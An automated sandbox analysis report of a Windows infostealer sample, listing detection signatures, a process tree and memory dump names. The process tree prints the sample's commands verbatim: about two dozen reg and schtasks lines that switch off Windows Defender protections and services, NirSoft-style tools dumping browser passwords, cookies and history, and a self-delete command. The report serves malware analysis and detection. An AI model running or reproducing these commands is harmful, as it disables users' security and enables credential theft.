Analysis

  • max time kernel
    118s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    02/07/2021, 17:08

General

  • Target
    a35bc86667197881479f85069d295aa12d92ae21d08bbbecb04b5eafdac4aa7f.exe
  • Size 2.9MB
  • Sample210702-efpepg15ze
  • SHA256 a35bc86667197881479f85069d295aa12d92ae21d08bbbecb04b5eafdac4aa7f
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Modifies security service 2 TTPs 1 IoCs
  • NirSoft WebBrowserPassView 3 IoCs

    Password recovery tool for various web browsers

  • Nirsoft 9 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 8 IoCs
  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops startup file 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a35bc86667197881479f85069d295aa12d92ae21d08bbbecb04b5eafdac4aa7f.exe
    "C:\Users\Admin\AppData\Local\Temp\a35bc86667197881479f85069d295aa12d92ae21d08bbbecb04b5eafdac4aa7f.exe"
    1⤵
    • Drops startup file
    • Loads dropped DLL
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1048
    • C:\Users\Admin\AppData\Local\Temp\RtkBtManServ.exe
      "C:\Users\Admin\AppData\Local\Temp\RtkBtManServ.exe" ZhXl39BlhP84+Y4kurA8wpehxxqA0X22IMYZ6Vpiqs72TaFYN+GtbmN/e7gblT0RHBNfvuhOQ6hXaNUzS+raZKa6B6Ts8UDcs3aYbtp0x2tDJ17WjSMdFwCQv2VqAQguD5QSREJFWDnn5x8pjp/VzZ9aHnTzpSs59P4Jn/NSRYg=
      2⤵
      • Executes dropped EXE
      • Modifies system certificate store
      • Suspicious use of AdjustPrivilegeToken
      PID:1500
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"
        3⤵
          PID:436
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c compile.bat
            4⤵
              PID:1336
              • C:\Users\Admin\AppData\Local\Temp\bfsvc.exe
                C:\Users\Admin\AppData\Local\Temp\bfsvc.exe /capture /Filename "C:\Users\Admin\AppData\Local\Temp\capture.png"
                5⤵
                • Executes dropped EXE
                • Suspicious behavior: CmdExeWriteProcessMemorySpam
                PID:1048
          • C:\Windows\System32\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"
            3⤵
              PID:1760
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c compile.bat
                4⤵
                  PID:1280
                  • C:\Users\Admin\AppData\Local\Temp\snuvcdsm.exe
                    C:\Users\Admin\AppData\Local\Temp\snuvcdsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\Admin_Passwords.txt"
                    5⤵
                    • Executes dropped EXE
                    • Suspicious behavior: CmdExeWriteProcessMemorySpam
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1372
              • C:\Windows\System32\WScript.exe
                "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"
                3⤵
                  PID:1816
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c compile.bat
                    4⤵
                      PID:1928
                      • C:\Users\Admin\AppData\Local\Temp\winhlp32.exe
                        C:\Users\Admin\AppData\Local\Temp\winhlp32.exe /stext "C:\Users\Admin\AppData\Local\Temp\Cookies1"
                        5⤵
                        • Executes dropped EXE
                        • Suspicious behavior: CmdExeWriteProcessMemorySpam
                        PID:2012
                      • C:\Users\Admin\AppData\Local\Temp\splwow64.exe
                        C:\Users\Admin\AppData\Local\Temp\splwow64.exe /stext "C:\Users\Admin\AppData\Local\Temp\Cookies2"
                        5⤵
                        • Executes dropped EXE
                        • Suspicious behavior: CmdExeWriteProcessMemorySpam
                        PID:1052
                      • C:\Users\Admin\AppData\Local\Temp\hh.exe
                        C:\Users\Admin\AppData\Local\Temp\hh.exe /stext "C:\Users\Admin\AppData\Local\Temp\Cookies3"
                        5⤵
                          PID:1592
                    • C:\Windows\System32\WScript.exe
                      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"
                      3⤵
                        PID:1624
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c compile.bat
                          4⤵
                            PID:1260
                            • C:\Users\Admin\AppData\Local\Temp\xwizard.exe
                              C:\Users\Admin\AppData\Local\Temp\xwizard.exe /stext "C:\Users\Admin\AppData\Local\Temp\Admin_History.txt"
                              5⤵
                              • Executes dropped EXE
                              • Suspicious behavior: CmdExeWriteProcessMemorySpam
                              • Suspicious behavior: EnumeratesProcesses
                              PID:592
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\RtkBtManServ.exe"
                          3⤵
                            PID:1528
                            • C:\Windows\system32\choice.exe
                              choice /C Y /N /D Y /T 3
                              4⤵
                              • Executes dropped EXE
                              • Suspicious behavior: CmdExeWriteProcessMemorySpam
                              • Suspicious behavior: EnumeratesProcesses
                              PID:1592
                        • C:\Users\Admin\AppData\Local\Temp\CustomEXE.exe
                          "C:\Users\Admin\AppData\Local\Temp\CustomEXE.exe"
                          2⤵
                          • Executes dropped EXE
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          PID:1584
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\dav.bat"
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:568
                          • C:\Windows\system32\reg.exe
                            reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                            3⤵
                              PID:1904
                            • C:\Windows\system32\reg.exe
                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                              3⤵
                                PID:1376
                              • C:\Windows\system32\reg.exe
                                reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                                3⤵
                                  PID:1036
                                • C:\Windows\system32\reg.exe
                                  reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                                  3⤵
                                    PID:1712
                                  • C:\Windows\system32\reg.exe
                                    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                                    3⤵
                                      PID:1576
                                    • C:\Windows\system32\reg.exe
                                      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                                      3⤵
                                        PID:288
                                      • C:\Windows\system32\reg.exe
                                        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                                        3⤵
                                          PID:796
                                        • C:\Windows\system32\reg.exe
                                          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                                          3⤵
                                            PID:548
                                          • C:\Windows\system32\reg.exe
                                            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                                            3⤵
                                              PID:1580
                                            • C:\Windows\system32\reg.exe
                                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                                              3⤵
                                                PID:772
                                              • C:\Windows\system32\reg.exe
                                                reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f┬┤
                                                3⤵
                                                  PID:2008
                                                • C:\Windows\system32\reg.exe
                                                  reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                                  3⤵
                                                    PID:1612
                                                  • C:\Windows\system32\reg.exe
                                                    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
                                                    3⤵
                                                      PID:780
                                                    • C:\Windows\system32\reg.exe
                                                      reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                      3⤵
                                                        PID:1052
                                                      • C:\Windows\system32\reg.exe
                                                        reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                        3⤵
                                                          PID:432
                                                        • C:\Windows\system32\schtasks.exe
                                                          schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                                          3⤵
                                                            PID:1392
                                                          • C:\Windows\system32\schtasks.exe
                                                            schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                                            3⤵
                                                              PID:672
                                                            • C:\Windows\system32\schtasks.exe
                                                              schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                                              3⤵
                                                                PID:1596
                                                              • C:\Windows\system32\schtasks.exe
                                                                schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                                3⤵
                                                                  PID:2024
                                                                • C:\Windows\system32\schtasks.exe
                                                                  schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                                  3⤵
                                                                    PID:892
                                                                  • C:\Windows\system32\reg.exe
                                                                    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
                                                                    3⤵
                                                                      PID:796
                                                                    • C:\Windows\system32\reg.exe
                                                                      reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
                                                                      3⤵
                                                                        PID:772
                                                                      • C:\Windows\system32\reg.exe
                                                                        reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                                        3⤵
                                                                          PID:896
                                                                        • C:\Windows\system32\reg.exe
                                                                          reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                                          3⤵
                                                                            PID:1964
                                                                          • C:\Windows\system32\reg.exe
                                                                            reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                                            3⤵
                                                                              PID:2008
                                                                            • C:\Windows\system32\reg.exe
                                                                              reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                                              3⤵
                                                                                PID:1612
                                                                              • C:\Windows\system32\reg.exe
                                                                                reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                                                3⤵
                                                                                  PID:1372
                                                                                • C:\Windows\system32\reg.exe
                                                                                  reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                                  3⤵
                                                                                    PID:1724
                                                                                  • C:\Windows\system32\reg.exe
                                                                                    reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                                    3⤵
                                                                                      PID:1048
                                                                                    • C:\Windows\system32\reg.exe
                                                                                      reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                                      3⤵
                                                                                      • Modifies security service
                                                                                      PID:1556

                                                                                Network

                                                                                      MITRE ATT&CK Enterprise v6

                                                                                      Replay Monitor

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                                                                                      Downloads

                                                                                      memory/1048-68-0x0000000002570000-0x0000000002572000-memory.dmp

                                                                                      memory/1048-125-0x0000000075721000-0x0000000075723000-memory.dmp

                                                                                      memory/1048-59-0x0000000000B00000-0x0000000000B01000-memory.dmp

                                                                                      memory/1500-66-0x000000001B670000-0x000000001B9AB000-memory.dmp

                                                                                      memory/1500-70-0x000000001B4C0000-0x000000001B4C2000-memory.dmp

                                                                                      memory/1500-64-0x00000000013B0000-0x00000000013B1000-memory.dmp

                                                                                      memory/1500-112-0x00000000005B0000-0x00000000005B6000-memory.dmp

                                                                                      memory/1500-113-0x0000000000970000-0x0000000000971000-memory.dmp

                                                                                      memory/1500-67-0x00000000002C0000-0x00000000002C1000-memory.dmp

                                                                                      memory/1500-114-0x0000000000AD0000-0x0000000000AFF000-memory.dmp

                                                                                      memory/1500-69-0x0000000000B90000-0x0000000000C3C000-memory.dmp

                                                                                      memory/1500-116-0x00000000012F0000-0x00000000012F1000-memory.dmp

                                                                                      memory/1500-115-0x000000001B020000-0x000000001B0BB000-memory.dmp

                                                                                      memory/1500-111-0x0000000000AA0000-0x0000000000ACA000-memory.dmp

                                                                                      memory/1584-90-0x000007FFFFBD0000-0x000007FFFFFA1000-memory.dmp

                                                                                      memory/1584-82-0x000007FEFBB41000-0x000007FEFBB43000-memory.dmp